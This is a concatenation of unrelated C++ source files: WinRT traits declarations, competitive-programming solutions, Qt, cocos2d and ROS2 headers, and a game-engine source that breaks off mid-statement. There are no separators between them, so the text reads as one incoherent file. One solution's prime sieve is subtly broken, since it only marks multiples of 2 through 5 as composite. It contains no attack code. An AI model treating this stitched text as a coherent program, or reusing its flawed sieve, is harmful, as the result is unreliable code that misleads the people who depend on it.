traits<Windows::System::RemoteSystems::IRemoteSystemSessionInvitationListener> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemSessionInvitationListener; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemSessionInvitationListener<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemSessionInvitationReceivedEventArgs> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemSessionInvitationReceivedEventArgs; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemSessionInvitationReceivedEventArgs<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemSessionJoinRequest> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemSessionJoinRequest; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemSessionJoinRequest<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemSessionJoinRequestedEventArgs> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemSessionJoinRequestedEventArgs; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemSessionJoinRequestedEventArgs<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemSessionJoinResult> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemSessionJoinResult; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemSessionJoinResult<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemSessionMessageChannel> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemSessionMessageChannel; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemSessionMessageChannel<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemSessionMessageChannelFactory> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemSessionMessageChannelFactory; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemSessionMessageChannelFactory<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemSessionOptions> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemSessionOptions; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemSessionOptions<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemSessionParticipant> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemSessionParticipant; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemSessionParticipant<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemSessionParticipantAddedEventArgs> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemSessionParticipantAddedEventArgs; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemSessionParticipantAddedEventArgs<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemSessionParticipantRemovedEventArgs> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemSessionParticipantRemovedEventArgs; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemSessionParticipantRemovedEventArgs<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemSessionParticipantWatcher> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemSessionParticipantWatcher; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemSessionParticipantWatcher<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemSessionRemovedEventArgs> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemSessionRemovedEventArgs; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemSessionRemovedEventArgs<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemSessionStatics> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemSessionStatics; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemSessionStatics<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemSessionUpdatedEventArgs> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemSessionUpdatedEventArgs; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemSessionUpdatedEventArgs<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemSessionValueSetReceivedEventArgs> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemSessionValueSetReceivedEventArgs; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemSessionValueSetReceivedEventArgs<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemSessionWatcher> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemSessionWatcher; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemSessionWatcher<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemStatics> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemStatics; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemStatics<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemStatics2> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemStatics2; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemStatics2<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemStatusTypeFilter> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemStatusTypeFilter; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemStatusTypeFilter<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemStatusTypeFilterFactory> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemStatusTypeFilterFactory; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemStatusTypeFilterFactory<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemUpdatedEventArgs> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemUpdatedEventArgs; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemUpdatedEventArgs<D>; }; template <> struct traits<Windows::System::RemoteSystems::IRemoteSystemWatcher> { using abi = ABI::Windows::System::RemoteSystems::IRemoteSystemWatcher; template <typename D> using consume = Windows::System::RemoteSystems::impl_IRemoteSystemWatcher<D>; }; template <> struct traits<Windows::System::RemoteSystems::KnownRemoteSystemCapabilities> { static constexpr const wchar_t * name() noexcept { return L"Windows.System.RemoteSystems.KnownRemoteSystemCapabilities"; } }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystem> { using abi = ABI::Windows::System::RemoteSystems::RemoteSystem; static constexpr const wchar_t * name() noexcept { return L"Windows.System.RemoteSystems.RemoteSystem"; } }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemAddedEventArgs> { using abi = ABI::Windows::System::RemoteSystems::RemoteSystemAddedEventArgs; static constexpr const wchar_t * name() noexcept { return L"Windows.System.RemoteSystems.RemoteSystemAddedEventArgs"; } }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemAuthorizationKindFilter> { using abi = ABI::Windows::System::RemoteSystems::RemoteSystemAuthorizationKindFilter; static constexpr const wchar_t * name() noexcept { return L"Windows.System.RemoteSystems.RemoteSystemAuthorizationKindFilter"; } }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemConnectionRequest> { using abi = ABI::Windows::System::RemoteSystems::RemoteSystemConnectionRequest; static constexpr const wchar_t * name() noexcept { return L"Windows.System.RemoteSystems.RemoteSystemConnectionRequest"; } }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemDiscoveryTypeFilter> { using abi = ABI::Windows::System::RemoteSystems::RemoteSystemDiscoveryTypeFilter; static constexpr const wchar_t * name() noexcept { return L"Windows.System.RemoteSystems.RemoteSystemDiscoveryTypeFilter"; } }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemKindFilter> { using abi = ABI::Windows::System::RemoteSystems::RemoteSystemKindFilter; static constexpr const wchar_t * name() noexcept { return L"Windows.System.RemoteSystems.RemoteSystemKindFilter"; } }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemKinds> { static constexpr const wchar_t * name() noexcept { return L"Windows.System.RemoteSystems.RemoteSystemKinds"; } }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemRemovedEventArgs> { using abi = ABI::Windows::System::RemoteSystems::RemoteSystemRemovedEventArgs; static constexpr const wchar_t * name() noexcept { return L"Windows.System.RemoteSystems.RemoteSystemRemovedEventArgs"; } }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSession> { using abi = ABI::Windows::System::RemoteSystems::RemoteSystemSession; static constexpr const wchar_t * name() noexcept { return L"Windows.System.RemoteSystems.RemoteSystemSession"; } }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionAddedEventArgs> { using abi = ABI::Windows::System::RemoteSystems::RemoteSystemSessionAddedEventArgs; static constexpr const wchar_t * name() noexcept { return L"Windows.System.RemoteSystems.RemoteSystemSessionAddedEventArgs"; } }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionController> { using abi = ABI::Windows::System::RemoteSystems::RemoteSystemSessionController; static constexpr const wchar_t * name() noexcept { return L"Windows.System.RemoteSystems.RemoteSystemSessionController"; } }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionCreationResult> { using abi = ABI::Windows::System::RemoteSystems::RemoteSystemSessionCreationResult; static constexpr const wchar_t * name() noexcept { return L"Windows.System.RemoteSystems.RemoteSystemSessionCreationResult"; } }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionDisconnectedEventArgs> { using abi = ABI::Windows::System::RemoteSystems::RemoteSystemSessionDisconnectedEventArgs; static constexpr const wchar_t * name() noexcept { return L"Windows.System.RemoteSystems.RemoteSystemSessionDisconnectedEventArgs"; } }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionInfo> { using abi = ABI::Windows::System::RemoteSystems::RemoteSystemSessionInfo; static constexpr const wchar_t * name() noexcept { return L"Windows.System.RemoteSystems.RemoteSystemSessionInfo"; } }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionInvitation> { using abi = ABI::Windows::System::RemoteSystems::RemoteSystemSessionInvitation; static constexpr const wchar_t * name() noexcept { return L"Windows.System.RemoteSystems.RemoteSystemSessionInvitation"; } }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionInvitationListener> { using abi = ABI::Windows::System::RemoteSystems::RemoteSystemSessionInvitationListener; static constexpr const wchar_t * name() noexcept { return L"Windows.System.RemoteSystems.RemoteSystemSessionInvitationListener"; } }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionInvitationReceivedEventArgs> { using abi = ABI::Windows::System::RemoteSystems::RemoteSystemSessionInvitationReceivedEventArgs; static constexpr const wchar_t * name() noexcept { return L"Windows.System.RemoteSystems.RemoteSystemSessionInvitationReceivedEventArgs"; } }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionJoinRequest> { using abi = ABI::Windows::System::RemoteSystems::RemoteSystemSessionJoinRequest; static constexpr const wchar_t * name() noexcept { return L"Windows.System.RemoteSystems.RemoteSystemSessionJoinRequest"; } }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionJoinRequestedEventArgs> { using abi = ABI::Windows::System::RemoteSystems::RemoteSystemSessionJoinRequestedEventArgs; static constexpr const wchar_t * name() noexcept { return L"Windows.System.RemoteSystems.RemoteSystemSessionJoinRequestedEventArgs"; } }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionJoinResult> { using abi = ABI::Windows::System::RemoteSystems::RemoteSystemSessionJoinResult; static constexpr const wchar_t * name() noexcept { return L"Windows.System.RemoteSystems.RemoteSystemSessionJoinResult"; } }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionMessageChannel> { using abi = ABI::Windows::System::RemoteSystems::RemoteSystemSessionMessageChannel; static constexpr const wchar_t * name() noexcept { return L"Windows.System.RemoteSystems.RemoteSystemSessionMessageChannel"; } }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionOptions> { using abi = ABI::Windows::System::RemoteSystems::RemoteSystemSessionOptions; static constexpr const wchar_t * name() noexcept { return L"Windows.System.RemoteSystems.RemoteSystemSessionOptions"; } }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionParticipant> { using abi = ABI::Windows::System::RemoteSystems::RemoteSystemSessionParticipant; static constexpr const wchar_t * name() noexcept { return L"Windows.System.RemoteSystems.RemoteSystemSessionParticipant"; } }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionParticipantAddedEventArgs> { using abi = ABI::Windows::System::RemoteSystems::RemoteSystemSessionParticipantAddedEventArgs; static constexpr const wchar_t * name() noexcept { return L"Windows.System.RemoteSystems.RemoteSystemSessionParticipantAddedEventArgs"; } }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionParticipantRemovedEventArgs> { using abi = ABI::Windows::System::RemoteSystems::RemoteSystemSessionParticipantRemovedEventArgs; static constexpr const wchar_t * name() noexcept { return L"Windows.System.RemoteSystems.RemoteSystemSessionParticipantRemovedEventArgs"; } }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionParticipantWatcher> { using abi = ABI::Windows::System::RemoteSystems::RemoteSystemSessionParticipantWatcher; static constexpr const wchar_t * name() noexcept { return L"Windows.System.RemoteSystems.RemoteSystemSessionParticipantWatcher"; } }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionRemovedEventArgs> { using abi = ABI::Windows::System::RemoteSystems::RemoteSystemSessionRemovedEventArgs; static constexpr const wchar_t * name() noexcept { return L"Windows.System.RemoteSystems.RemoteSystemSessionRemovedEventArgs"; } }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionUpdatedEventArgs> { using abi = ABI::Windows::System::RemoteSystems::RemoteSystemSessionUpdatedEventArgs; static constexpr const wchar_t * name() noexcept { return L"Windows.System.RemoteSystems.RemoteSystemSessionUpdatedEventArgs"; } }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionValueSetReceivedEventArgs> { using abi = ABI::Windows::System::RemoteSystems::RemoteSystemSessionValueSetReceivedEventArgs; static constexpr const wchar_t * name() noexcept { return L"Windows.System.RemoteSystems.RemoteSystemSessionValueSetReceivedEventArgs"; } }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemSessionWatcher> { using abi = ABI::Windows::System::RemoteSystems::RemoteSystemSessionWatcher; static constexpr const wchar_t * name() noexcept { return L"Windows.System.RemoteSystems.RemoteSystemSessionWatcher"; } }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemStatusTypeFilter> { using abi = ABI::Windows::System::RemoteSystems::RemoteSystemStatusTypeFilter; static constexpr const wchar_t * name() noexcept { return L"Windows.System.RemoteSystems.RemoteSystemStatusTypeFilter"; } }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemUpdatedEventArgs> { using abi = ABI::Windows::System::RemoteSystems::RemoteSystemUpdatedEventArgs; static constexpr const wchar_t * name() noexcept { return L"Windows.System.RemoteSystems.RemoteSystemUpdatedEventArgs"; } }; template <> struct traits<Windows::System::RemoteSystems::RemoteSystemWatcher> { using abi = ABI::Windows::System::RemoteSystems::RemoteSystemWatcher; static constexpr const wchar_t * name() noexcept { return L"Windows.System.RemoteSystems.RemoteSystemWatcher"; } }; } }
// AUTHOR: Sumit Prajapati #include <bits/stdc++.h> using namespace std; #define ull unsigned long long // #define int long long #define pii pair<int, int> #define pll pair<ll, ll> #define pb push_back #define mk make_pair #define ff first #define ss second #define all(a) a.begin(),a.end() #define trav(x,v) for(auto &x:v) #define debug(x) cerr<<#x<<" = "<<x<<'\n' #define llrand() distribution(generator) #define rep(i,n) for(int i=0;i<n;i++) #define repe(i,n) for(int i=1;i<=n;i++) #define FOR(i,a,b) for(int i=a;i<=b;i++) #define printar(a,s,e) FOR(i,s,e)cout<<a[i]<<" ";cout<<'\n' #define curtime chrono::high_resolution_clock::now() #define timedif(start,end) chrono::duration_cast<chrono::nanoseconds>(end - start).count() auto time0 = curtime; random_device rd; default_random_engine generator(rd()); uniform_int_distribution<ull> distribution(0,0xFFFFFFFFFFFFFFFF); const int MD=1e9+7; const int MDL=998244353; const int INF=1e9; const int MX=1e3+5; int bit[1005][1005]; int n=1003; int query(int x, int y) { int ret = 0; for (int i = x; i >= 0; i = (i & (i + 1)) - 1) for (int j = y; j >= 0; j = (j & (j + 1)) - 1) ret =max(ret, bit[i][j]); return ret; } void update(int x, int y, int delta) { for (int i = x; i < n; i = i | (i + 1)) for (int j = y; j < n; j = j | (j + 1)) bit[i][j] = max(bit[i][j],delta); } void solve(){ int q; cin>>q; // USE FENWICK TREE FOR 2D vector<pii>v(q); rep(i,q) cin>>v[i].ff>>v[i].ss; int x,y; int ans=0; for(int i=0;i<q;i++){ x=v[i].ff; y=v[i].ss; int cur=1+query(x,y); // cout<<x<<" "<<y<<"-> "<<cur<<'\n'; update(x,y,cur); ans=max(ans,cur); } cout<<ans<<'\n'; } int32_t main() { ios_base::sync_with_stdio(false); cin.tie(NULL); time0 = curtime; int t=1; repe(tt,t){ // cout<<"Case #"<<tt<<": "; solve(); } // cerr<<"Execution Time: "<<timedif(time0,curtime)*1e-9<<" sec\n"; return 0; }
#pragma once #include "cocos2d.h" #include <string> #include "Singleton.h" typedef enum { etNone = 0, etItem } eElementType; typedef enum { PID_NONE = 0, PID_STEP2, PID_STEP3, PID_STEP4, PID_STEP5, PID_TOTAL, PID_MAX, } PRODUCT_ID; struct WordCard { std::string word; int level; std::string text; }; typedef std::vector<WordCard> vtWordCards; class PointManager : public Singleton<PointManager> { public: PointManager(); ~PointManager(); void init(); int m_currStage; int _point; int _level; bool _hint; std::map<std::string, WordCard> m_mCardsByWord; std::map<int, vtWordCards> m_mCardsByLevel; std::map<std::string, bool> m_mMastWords; std::vector<bool> m_vCart; void SetPoint(int point); int AddPoint(int point); int DelPoint(int point); int GetPoint(); void SaveData(); void LoadData(); void CheckMast(std::string& word); bool IsMasted(std::string& word); void ResetMast(); int GetMastedCount(); int GetTotalCount(); void SetLevel(int level); int GetLevel(); bool GetHintOption(); void SetHintOption(bool opt); bool LoadXML(); void GetNextScene(bool isEnter, bool isNextStage = false); void GetPrevSecene(); void SetCartWithPID(int pid, bool bBought); bool GetCartWithPID(int pid); };
/* 1017. 소수 쌍 이분 매칭 http://blog.naver.com/PostView.nhn?blogId=kks227&logNo=220617618294 */ #include <iostream> #include <vector> #include <stack> #include <cstring> #include <algorithm> using namespace std; int N, A, First, Pair; int OMax = 0, EMax = 0; vector<int> Arr[2]; vector<int> Adj[25]; int Left[25]; int Right[25]; bool Visited[25]; bool Sosu[2000]; vector<int> Answer; void Input() { cin >> N; for(int i = 0; i < N; i++) { cin >> A; if(i == 0) First = (A % 2); if(A % 2 == 0) { Arr[0].push_back(A); if(EMax < A) EMax = A; } else { Arr[1].push_back(A); if(OMax < A) OMax = A; } } } void Check_Sosu() { int Tmp[4] = {2, 3, 4, 5}; for(int k : Tmp) { for(int i = k * k; i <= OMax + EMax; i += k) { Sosu[i] = true; } } } void Check_Adj() { for(int i = 0; i < Arr[First].size(); i++) { for(int j = 0; j < Arr[!First].size(); j++) { if(!Sosu[Arr[First][i] + Arr[!First][j]]) { Adj[i].push_back(j); } } } } bool DFS(int j) { if(Visited[j]) return false; Visited[j] = true; for(int i = 0; i < Adj[j].size(); i++) { int Pair_Idx = Adj[j][i]; if(Right[Pair_Idx] == -1 || DFS(Right[Pair_Idx])) { Right[Pair_Idx] = j; Left[j] = Pair_Idx; return true; } } return false; } void Solve() { for(int k = 0; k < Adj[0].size(); k++) { int Pair_Idx = Adj[0][k]; memset(Left, -1, sizeof(Left)); memset(Right, -1, sizeof(Right)); Left[0] = Pair_Idx; Right[Pair_Idx] = 0; int Cnt = 1; for(int j = 1; j < N / 2; j++) { memset(Visited, 0, sizeof(Visited)); Visited[0] = true; if(DFS(j)) Cnt++; } if(Cnt == N / 2) Answer.push_back(Arr[!First][Pair_Idx]); } if(Answer.size() > 0) { sort(Answer.begin(), Answer.end()); for(int i = 0; i < Answer.size(); i++) { cout << Answer[i] << ' ' ; } } else { cout << "-1" << endl; } } int main() { Input(); if(Arr[0].size() != Arr[1].size()) { cout << "-1" << endl; return 0; } Check_Sosu(); Check_Adj(); Solve(); return 0; }
#ifndef WIZWELCOMEDIALOG_H #define WIZWELCOMEDIALOG_H #include <QHash> #include <QDialog> #include "share/wizverifyaccount.h" #include "share/wizcreateaccount.h" #include "share/wizsettings.h" class QAbstractButton; class QUrl; namespace Ui { class WelcomeDialog; } class WelcomeDialog : public QDialog { Q_OBJECT public: explicit WelcomeDialog(const QString& strDefaultUserId, const QString& strLocale, QWidget* parent = 0); void setUsers(); void setPassword(const QString& strPassword); QString userId() const; QString password() const; ~WelcomeDialog(); private: Ui::WelcomeDialog* ui; QString m_strDefaultUserId; QHash<QString, QString> m_users; CWizVerifyAccount m_verifyAccount; void getUserPasswordPairs(); void updateUserSettings(); void enableControls(bool bEnable); void setUser(const QString &userId); public Q_SLOTS: virtual void accept(); void verifyAccountDone(bool succeeded, int errorCode, const QString& errorMessage); void on_webView_linkClicked(const QUrl& url); void on_labelForgotPassword_linkActivated(const QString&); void on_labelRegisterNew_linkActivated(const QString&); void on_labelProxySettings_linkActivated(const QString& link); void on_comboUsers_activated(const QString& userId); void on_comboUsers_editTextChanged(const QString& strText); void on_checkAutoLogin_stateChanged(int state); }; #endif // WIZWELCOMEDIALOG_H
#include <iostream> using namespace std; #ifndef TEST_H #define TEST_H class Test{ string person_name; int test_number; int questions_count; vector <int> points; public: Test(); Test(string person_name,int test_number,int questions_count, vector <int> points); //void read(); //void read(ifstream fout); //void write(); int compare(Test left, Test right); bool check(string name, int number, vector <int> bottom_edge, vector <int> top_edge); bool check(int number); int getProperty(vector <int> weights); friend ostream& operator << (ostream &out,Test &test); friend istream& operator >> (istream &in,Test &test); }; bool operator < (Test left,Test right); bool operator> (Test left,Test right); bool operator <= (Test left,Test right); bool operator >= (Test left,Test right); bool operator != (Test left,Test right); bool operator == (Test left,Test right); ostream& operator << (ostream &out,Test &test); istream& operator >> (istream &in,Test &test); #endif
#ifndef CHANNEL_H #define CHANNEL_H #include <rclcpp/rclcpp.hpp> #include <ackermann_msgs/msg/ackermann_drive_stamped.hpp> class Mux; class Channel { private: // Publish drive data to simulator/car rclcpp::Publisher<ackermann_msgs::msg::AckermannDriveStamped>::SharedPtr drive_pub; // Mux index for this channel int mux_idx; // Pointer to mux object (to access mux controller and nodeHandle) Mux* mp_mux; public: Channel(std::string channel_name, std::string drive_topic, int mux_idx_, Mux* mux); void drive_callback(const ackermann_msgs::msg::AckermannDriveStamped::SharedPtr msg); }; #endif // CHANNEL_H
#ifndef SHOPMAINWINDOW_H #define SHOPMAINWINDOW_H #include <QLineEdit> #include <QtGui> #include <QMainWindow> #include "tool/editablequerymodel.h" namespace Ui { class ShopMainWindow; } typedef struct CheckLineEdit { int editType; int checkType; bool checkFailed; } CHECK_LINE_EDIT_S; class QFileDialog; class EditableQueryModel; class SellTotalWindow; class GoodsStock; class GoodsSell; class PurchaseInfo; class GoodsInfo; class QSqlQueryModel; class ShopMainWindow : public QMainWindow { Q_OBJECT public: explicit ShopMainWindow(QWidget *parent = 0); ~ShopMainWindow(); signals: void addGoodsStock(QString); void wrongPasswd(void); void fillInfo(QString); private slots: void selectModelForQuery(int index); void fillInfoBySN(QString main_sn); void wrongHint(void); void login(int user_id); void on_edit_input_sell_sn_returnPressed(); void clearHint(void); void on_btn_goodsInfoReset_clicked(); void on_btn_goodsAddNewInfo_clicked(); void addGoodsStockBySN(QString sn); void on_btn_goodsInfoSubmitAll_clicked(); void setTabFocus(int index); void on_pushButton_2_clicked(); void on_pushButton_5_clicked(); void on_pushButton_4_clicked(); void on_pushButton_3_clicked(); void on_pushButton_clicked(); void on_btn_personal_submit_clicked(); void on_btn_stock_reset_clicked(); void on_lEdit_stock_mainSN_returnPressed(); void on_btn_stock_addNew_clicked(); void on_lEdit_stock_mainSN_textChanged(const QString &arg1); void on_btn_stock_deleteSelected_clicked(); void on_btn_goodsInfoDeleteSelected_clicked(); void on_btn_stock_submit_clicked(); void on_pushButton_8_clicked(); void updateStockView(QStandardItem *item); void on_btn_query_deleteSelected_clicked(); void on_pushButton_10_clicked(); void on_pushButton_7_clicked(); void sellTotal(bool); void on_pushButton_6_clicked(); void updateSellView(QStandardItem *item); void on_btn_query_refresh_clicked(); void on_lEdit_personal_userName_returnPressed(); void on_lEdit_personal_newPasswd_returnPressed(); void on_lEdit_personal_confirmPasswd_returnPressed(); void on_btn_query_submit_clicked(); void on_btn_query_balance_by_date_clicked(); void on_btn_query_balance_today_clicked(); void on_lEdit_stockName_returnPressed(); void on_lEdit_stockName_textChanged(const QString &arg1); private: void WriteModelDataToFile(QString name, QSqlQueryModel* model); void initQueryDateUI(); QString getCurrentSubSN(); QString getCurrentMainSN(); bool checkSubCode(QString subsn); bool hasRecord(void); void exportPurchaseBalance(void); void exportPurchaseBalanceFile(QString name); void exportSellBalanceFile(QString saveFile); QString showSaveFileDialog(QString defaultName); void exportSellBalance(void); void setQueryStock(); void setQueryStockHeader(); void setQuerySell(); void setQuerySellHeader(); void setQueryPurchase(); void setQueryPurchaseHeader(); void setQueryInfo(); void setQueryInfoHeader(); void setInfoQuery(QString querystr); void setStockQuery(QString querystr); void setPurchaseQuery(QString querystr); void setSellQuery(QString querystr); void freeSellList(QVector<GoodsSell *> list); void freePurchaseList(QVector<PurchaseInfo *> list); void addGoodsToSellView(GoodsInfo *info, GoodsStock *stock); void showInfoTable(); void showPurchaseTable(); void showStockTable(); void showSellTable(); void exportFile(QString name); void setQueryComboxItemText(void); void freeStockList(QVector<GoodsStock *> list); void setStockTableHeader(void); QLineEdit* entryLineEdit(int type); void initEntryLineEditList(void); void setPersonalTabOrder(void); int askPasswd(void); void setEntryTabOrder(void); void initInfoTabUI(void); void setInfoTabOrder(void); void addShortCurForInfoTab(void); void addShortCutForEntryTab(void); bool validateInfoLineEdit(CHECK_LINE_EDIT_S *checkList, int size, int &edit_type); void setInfoTableHeader(void); void showMessage(QString text); QLineEdit* getCurrentLineEdit(int type); QStandardItemModel *m_goodsInfoModel; QStandardItemModel *m_stockModel; QStandardItemModel *m_sellModel; QSqlQueryModel *m_queryModel; void initInfoLineEditList(void); void setTableView(); bool checkBarcode(const QString &); bool checkModelHasStock(QString sn); void setSellTableHeader(void); QLineEdit* infoLineEdit(int type); Ui::ShopMainWindow *ui; int m_userid; void updateStockTableBySellList(QVector<GoodsSell *> sell_list); SellTotalWindow *m_sellTotalWindow; EditableQueryModel m_stockEditModel; void hideBalanceButton(bool isHide); void showCreditTable(); void setQueryCreditHeader(); void setCreditQuery(QString querystr); }; #endif // SHOPMAINWINDOW_H
//Manca funzione find #ifndef LINQEDINCLIENT_H #define LINQEDINCLIENT_H #include "string" #include "utente.h" #include "db.h" using std::string; class LinQedInClient{ private: Utente* userClient; //puntatore polimorfo DB* database; //Caricato da file e solo in lettura public: LinQedInClient(Username); void addInRete(Utente*); void removeFormRete(string); void loadDB() const; void saveDB() const; Utente* getUtente(); string getLogin() const; vector<string> find(string) const; Utente* findByUsername(string) const; Utente* findByName(string, string) const; vector<vector<Utente*>::iterator> search(string, string); vector<vector<Utente*>::iterator> searchInNet(); const Info* getInfo() const; bool checkUserClient() const; ~LinQedInClient(); }; #endif // LINQEDINCLIENT_H
#include<bits/stdc++.h> using namespace std; #define ll long long #define fr(i,n) for (ll i=0;i<n;i++) #define fr1(i,n) for(ll i=1;i<=n;i++) int main() { ll m,n,i,j,k; cin>>n>>k; ll a[n+5]; fr1(i,n)cin>>a[i]; sort(a+1, a+n+1); ll l=1, r=n; while(1) { while(l+1<n and a[l]==a[l+1])l++; while(r-1>=1 and a[r]==a[r-1])r--; if(l>=r){cout<<0<<endl;return 0;} ll aa=l, b=n-r+1; if(aa<=b) { ll nxt=a[l+1]; ll cnt=(nxt- a[l] )*aa; if(cnt<=k)k-=cnt; else { ll ans=a[r]-( a[l]+(k/aa) ); cout<<ans<<endl; return 0; } l++; } else { ll pre=a[r-1]; ll cnt=(a[r] - pre )*b; if(cnt<=k)k-=cnt; else { ll ans=a[r]-( a[l]+(k/b) ); cout<<ans<<endl; return 0; } r--; } if(k==0)break; } cout<<a[r]-a[l]<<endl; }
#include "DirectZob.h" #include "Events.h" #include "tinyxml.h" #include "ZobObject.h" #include "SceneLoader.h" static char buffer[MAX_PATH]; DirectZob *DirectZob::singleton = nullptr; DirectZob::DirectZob() { DirectZob::singleton= this; } DirectZob::~DirectZob() { //delete m_engine; delete m_meshManager; delete m_materialManager; delete m_cameraManager; delete m_text; delete m_events; } std::string DirectZob::ExePath() { //return std::string("D:\\_PERSO\\directZob\\directZob\\resources\\"); return std::string("C:\\_GIT\\directZob\\resources"); char b[MAX_PATH]; GetModuleFileName(NULL, b, MAX_PATH); std::string::size_type pos = std::string(b).find_last_of("\\/"); return std::string(b).substr(0, pos); } void DirectZob::LoadScene(std::string& path, std::string& file) { SceneLoader::LoadScene(path, file, m_zobObjectManager, m_meshManager, m_materialManager); if (m_text == NULL) { m_text = new Text2D(m_engine, m_events); } } void DirectZob::SaveScene(std::string& path, std::string& file) { SceneLoader::SaveScene(path, file, m_zobObjectManager, m_meshManager, m_materialManager); } void DirectZob::SaveScene() { SceneLoader::SaveScene(m_zobObjectManager, m_meshManager, m_materialManager); } void DirectZob::NewScene() { SceneLoader::NewScene(m_engine, m_zobObjectManager, m_meshManager, m_materialManager); if (m_text == NULL) { m_text = new Text2D(m_engine, m_events); } } bool DirectZob::CanFastSave() { return SceneLoader::CanFastSave(); } void DirectZob::Init() { m_events = new Events(); DirectZob::LogInfo("Init engine"); m_engine = new Engine(WIDTH, HEIGHT, m_events); m_cameraManager = new CameraManager(); m_materialManager = new MaterialManager(); m_meshManager = new MeshManager(); m_zobObjectManager 